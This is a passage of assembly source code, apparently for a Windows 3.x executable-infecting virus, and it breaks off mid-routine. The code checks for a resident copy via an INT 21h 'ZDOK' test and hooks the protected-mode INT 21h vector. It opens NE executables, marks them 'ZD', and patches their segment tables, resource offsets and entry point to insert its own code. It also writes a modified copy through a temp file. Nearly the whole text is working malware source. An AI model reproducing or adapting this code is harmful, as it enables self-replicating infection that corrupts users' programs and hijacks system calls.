.model small, pascal       
	.386
include c:\masm611\include\win.inc
include c:\masm611\include\cmacros.inc
AllocMem PROTO :DWORD        
MemFree  PROTO :WORD        
Extrn __A000H:abs
	.data
AddLength        equ 800h
WinData          DWORD  0                       ; Windows reserved data space.
FileHandle       DW ?        
VTempName        db 'v__temp.###',0
VTempHandle      dw ?
WriteLength       dword ?
NEHeadLength     dd ?
DosEXELength     dw ?
FileLength       dword ?
Old_IP            dw ?           
StartAdd         dw ?
DataLength       dw ?
DataAreaOff      dw ?
VStartAdd         dw ?
No_ModKrnl       dw ?

OFF              db 1
		 dw 85          ;kernel!_lopen 
		 ;dw offset call_open1+8,offset call_open2+7
		 dw offset call_open2+7
		 
		 db 4
		 dw 84          ;Kernel!_lseek
		 dw offset call_seek1+9,offset call_seek2+0dh
		 dw offset call_seek3+0dh,offset call_seek4+9
		 
		 db 2
		 dw 81          ;Kernel!_lclose
		 dw offset CloseAllFile+5,offset CloseFile+5

		 db 5
		 dw 349         ;Kernel!_hread
		 dw offset call_read1+0eh ,call_read2+0eh
		 dw offset call_read3+0dh ,call_read4+0ch
		 dw offset call_read5+0dh 

		 db 3
		 dw 350         ;Kernel!_hwrite
		 dw offset call_write1+0dh ,call_write2+0ah
		 dw offset call_write3+0dh 

		 db 1
		 dw 171         ;Kernel!Allocdstocsalias
		 dw offset call_allocdstocsalias+2 

		 db 1
		 dw 83          ;Kernel!create
		 dw offset call_create+7 
		 
		 db 1
		 dw 132          ;Kernel!getwinflags 
		 dw offset call_getwinflags+1

		 db 1            ;Kernel!__A000H 
		 dw 174          
		 dw offset Video_Seg+1

No_OFF           dw 9
Vcode_Len        dw ?
Next_Seg         dd ?
FileName_SEG     dw ?
FileName_OFF     dw ?
time             dw ?
date             dw ?
OK               db 0
MARK             db 0
EndMark          db 'ZD'        
	.code
;########################  Program Start #################
__astart:
	call MyStart
MyStart:        
	pop bp
	sub bp,offset MyStart
	push bx
	push cx
	push di
	push si           ;Save AppEntry 
	
	push es
	push ds           ;Save 
call_getwinflags:        
	cCall GetWinFlags
	test ax,0010h                 ;WF_STANDARD
	jz Pmode                ;Not Surport Standard Mode
	mov si,offset DataArea
	add si,bp
	add si,offset Old_IP
	mov bp,cs:[si]          ;get old ip
	jmp EXIT
Pmode:        
	;jmp call_open1
	call CreateDS
	mov eax,445a8888h
	int 21h                ;Test If Resident
	
	cmp eax,'ZDOK'
	jz  Exit_To_Old         ;Already Resident
	
	mov ah,48h
	mov bx,AddLength/10h
	int 21h                 ;Alloc Memory
	mov es,ax
	
	mov cx,Vcode_Len
	mov si,StartAdd
	mov di,0
	push ds
	push cs
	pop ds
	rep movsb               ;copy code
	pop ds
	
	mov si,0
	mov cx,AddLength
	sub cx,Vcode_Len       ;copy data
	sub cx,50h
	rep movsb
	
	mov ax,204h
	mov bl,21h
	int 31h                ;get old INT 21H Vec(P Mode)
	
	mov si,offset quit
	mov es:[si+1],dx
	mov es:[si+3],cx       ;Save old INT 21H
	
call_allocdstocsalias:        
	cCall AllocDStoCSAlias,<es>  ;Convert to code Segment
	mov cx,ax
	mov ax,205h
	mov bl,21h
	mov dx,offset New_WinExec_Entry
	int 31h                ;set new INT 21H Vec(P Mode)
	jmp Exit_To_Old        ;Exit
	
	
;call_open1:  
 ;       cCall _lopen,<ds,offset FileName,word ptr READ> ;Open File
  ;      call AfterOpen
Exit_To_Old:        
	mov bp,Old_IP
call_free1:  
	INVOKE MemFree,ds
EXIT:        
	pop ds           ;
	pop es            ;
	pop si             ;
	pop di              ;;;; Use S-ice for Win,BPX at here,and then EXIT.
	pop cx             ;
	pop bx            ;
	jmp bp           ;

AfterOpen:        
	mov OK,0
	mov FileHandle,ax                    ;Save Handle
	cmp ax,-1
	jnz OpenOK
	jmp Error
OpenOK:        
	mov ax,5700h
	mov bx,FileHandle
	int 21h                              ;Save Time & Date  
	mov time,cx
	mov date,dx
	
	;cCall GlobalAlloc,<GMEM_FIXED,dword ptr 40h> ;Alloc Memory for DOSEXEherd 
	INVOKE AllocMem,40h
	mov es,ax
call_read1:        
	cCall _hread,<FileHandle,es,0,dword ptr 40h>              ;Read DosEXEHeader
	cmp ax,0
	jnz ReadOK1
	jmp Error
ReadOK1:
	xor si,si
	xor ax,ax
	mov cx,10
_Add:        
	add ax,es:[si]
	add si,2
	dec cx
	jz _AddOK
	jmp _Add
_AddOK:        
	cmp ax,'DZ'            ;Already ZD
	jnz Go_on
	jmp CloseFile
Go_on:
	mov ax,es:[3ch]
	mov DosEXELength,ax
call_seek1:        
	cCall _llseek,<FileHandle,eax,0>
call_read2:        
	cCall _hread,<FileHandle,es,0,dword ptr 40h>    ;Read NE head
	cmp ax,0
	jnz ReadOK2
	jmp Error
	    
ReadOK2:        
	cmp es:[0],'EN'   ;New EXE File 
	jnz CloseFile
	xor ecx,ecx 
	mov cx,es:[2ch]
	add cx,es:[20h]
	mov NEHeadLength,ecx
	;mov NEHeadLength,cx
	test word ptr es:[0ch],0100000000000000b    ;Not DLL
	jnz CloseFile
	test word ptr es:[0ch],0000100000000000b    ;NOT Self Load
	jnz CloseFile
	test word ptr es:[0ch],1000000000000000b    ;NOT DLL
	jnz CloseFile

call_free2:          
	;cCall GlobalFree,<es>  
	INVOKE MemFree,es
	;cCall GlobalAlloc,<GMEM_FIXED,NEHeadLength>   ;0+NEHeadLength
	INVOKE AllocMem,NEHeadLength
	mov es,ax
call_seek2:                
	cCall _llseek,<FileHandle,dword ptr 0,2>        ;To File End
	shl edx,16
	add eax,edx
	cmp eax,0fffffh
	;jg CloseFile             
	ja CloseFile              ;edit on 96-10-31 7:20 p.m. 
	mov FileLength,eax
call_seek3:                
	cCall _llseek,<FileHandle,dword ptr 0,0>        ;To File Begin 
call_read3:                
	cCall _hread,<FileHandle,es,0,NEHeadLength>     ;Read Header
	cmp ax,0
	jnz ReadOK5
	jmp Error
ReadOK5:        
	
;###########Find if have Kernel  ##################      
	mov bp,DosEXELength
	mov ax,1
	mov si,es:[bp+28h]          ;ofs Module Reference Table
	mov bx,es:[bp+2ah]          ;ofs Imported Names Table
FindKrnl:        
	mov di,es:[bp+si]
	add di,bx
	cmp es:[bp+di+1],'EK'
	jnz NotKrnl
	cmp es:[bp+di+2+1],'NR'
	jnz NotKrnl
	mov No_ModKrnl,ax
	jmp After
NotKrnl:        
	inc ax 
	add si,2
	cmp si,es:[bp+2ah] 
	;jl FindKrnl            ;if < go on Find
	jb FindKrnl                 ;edit on 96-10-31 7:20 p.m
	jmp CloseFile

;#################     Write the ZD Mark     #################

After:
	xor ax,ax
	mov si,0
	mov cx,9
__Add:        
	add ax,es:[si]
	add si,2
	dec cx
	jz __AddOK
	jmp __Add
__AddOK:
	mov bx,'DZ'
	sub bx,ax
	mov es:[12h],bx        ;Write The ZD Mark
	
	
;################ Work out Seg Table Offset  #############       
	mov ax,es:[bp+16h]     ;CS seg
	dec ax
	mov bh,8
	mul bh              ;ax is offset of seg tab
	add ax,es:[bp+22h]   
	mov si,ax           ;si is offset of seg tab(byte) from NEhead
	
;################ Work out Addpages  ###################
	mov bx,1
	mov cl,es:[bp+32h] 
	shl bx,cl             ;bx is logical sector length(byte)
	push bx
	xor dx,dx
	mov ax,AddLength          ;300h is addlen
	div bx                ;ax is addpage 
	push ax
	
;################# Modify Gangload ####################        
	
	test byte ptr es:[bp+37h],1000b
	jz NoGangload
	
	mov dx,es:[bp+si]     ;dx is start code segment offset(bytes) from NEhead
	cmp dx,es:[bp+38h]    ;if ofs<=ofsGangLoad
	;jge xy
	jae xy                  ;96-10-31 7:20 p.m.
	add es:[bp+38h],ax
xy:
	cmp dx,es:[bp+38h]    
	;jl ndye              ;if ofs<ofsgangLoad
	jb ndye               ;96-10-31 7:20 p.m.
	mov cx,es:[bp+38h]
	add cx,es:[bp+3ah]   ;cx=ofsGangLoad+lenGangLoad
	cmp dx,cx
	;jg  ndye             ;if ofs>cx
	ja ndye               ;96-10-31 7:20 p.m.
	add es:[bp+3ah],ax
ndye:
NoGangload:                  ;Browse RC Table
;###################   Modify RC   #################        
	
	mov cx,es:[bp+26h]   ;ofsResidentNameTable
	sub cx,es:[bp+24h]   ;ofsResource
	cmp cx,0
	jz norc
	mov cx,ax            ;cx is addpage
	mov di,es:[bp+24h]
	add di,bp            ;di is offset of RCtab from DosEXEHead
	mov cx,es:[di+0]     ;rscAlignShift
	mov bx,1
	shl bx,cl            ;bx is 2^rscAlignShift 
	mov cx,es:[di+4]     ;RCcount
	mov ax,AddLength         ;VLength
	xor dx,dx
	div bx
	add di,0ah
Browse:        
	add es:[di],ax
	add di,12
	dec cx
	jz ModifyOneRCOK
	jmp Browse
ModifyOneRCOK:
	cmp word ptr es:[di],0
	jz RCOK
	mov cx,es:[di+2]
	add di,8h
	jmp Browse

RCOK:
norc:        
;##################     #######################        
	
	pop ax               ;codeaddpage
	add si,bp            ;si is offset of start code segment from MZ  
	;push word ptr es:[si+8]   ;Next Seg
	push word ptr es:[si]
	push word ptr es:[si+2]
	mov di,es:[si+2]
	mov VStartAdd,di
BS:        
;################  Modify Seg Table  #############        
	


	add es:[si+2],AddLength-50h  ;segment length
	add es:[si+6],AddLength-50h  ;lenMem
	mov bx,es:[si]               ;bx is start code seg off
	mov cx,es:[bp+1ch]           ;cx is segmentcount
	;sub cx,es:[bp+16h]          ;start code segment NO.
	mov si,es:[bp+22h]           ;seg tab off
	mov byte ptr MARK,0
Addofs:        
	cmp es:[si+bp],bx
	jbe XY                     ;<=
	
	cmp byte ptr MARK,0
	jnz NNN                    ;if frist >
	mov dx,es:[si+bp]
	mov byte ptr MARK,2          
NNN:        
	cmp dx,es:[si+bp]
	;jl ADDSEG
	jb  ADDSEG                    ;96-10-31 7:20 p.m.
	mov dx,es:[si+bp]
ADDSEG:        
	add es:[si+bp],ax
XY:        
	add si,8
	dec cx
	jz ModifyCodeTabOK
	jmp Addofs

ModifyCodeTabOK:
	push dx                ;Next Seg
;################  Modify IP  #########################        
	mov ax,es:[bp+14h]
	mov Old_IP,ax          ;Save old IP
	mov es:[bp+14h],di    ;Modify new ip
K_B:        
	add di,offset New_WinExec_Entry
;        mov New_Winexec_off,di                ;

;###############  Create Temp File  ###################        
	
	push es
	
	mov si,FileName_OFF
	mov fs,FileName_SEG
	mov di,si
go_on_find:        
	cmp byte ptr fs:[si],'\'
	jnz findnext
	mov di,si
findnext:
	inc si
	cmp byte ptr fs:[si],0
	jnz go_on_find
	
	cmp di,FileName_OFF
	jnz havepath 
	mov cx,0
	push ds
	jmp nopath
havepath:        
	push ds
	
	mov cx,di
	inc cx
	sub cx,FileName_OFF
nopath:        
	mov si,FileName_OFF
	mov di,100h
	push ds
	pop es
	push fs
	pop ds
	rep movsb
	
	pop ds
	push ds
	pop es
	mov si,offset VTempName
	mov cx,12
	rep movsb
	
call_create:        
	;cCall _lcreat,<ds,offset VTempName,0>   ;Create a Temp file
	cCall _lcreat,<ds,100h,0> 
	mov VTempHandle,ax 
	cmp ax,-1
	jnz OpenTemp
	pop es
	jmp Error
OpenTemp:        
	pop es
	
;################  Write NE Head  ###################      
call_write1:        
	cCall _hwrite,<VTempHandle,es,0,NEHeadLength>   ;Write Header
	jc Error    ;96-10-31 7:30 p.m.
call_free3:          
	;cCall GlobalFree,<es> ;Free EXEHeader
	INVOKE MemFree,es
	xor eax,eax
	xor ecx,ecx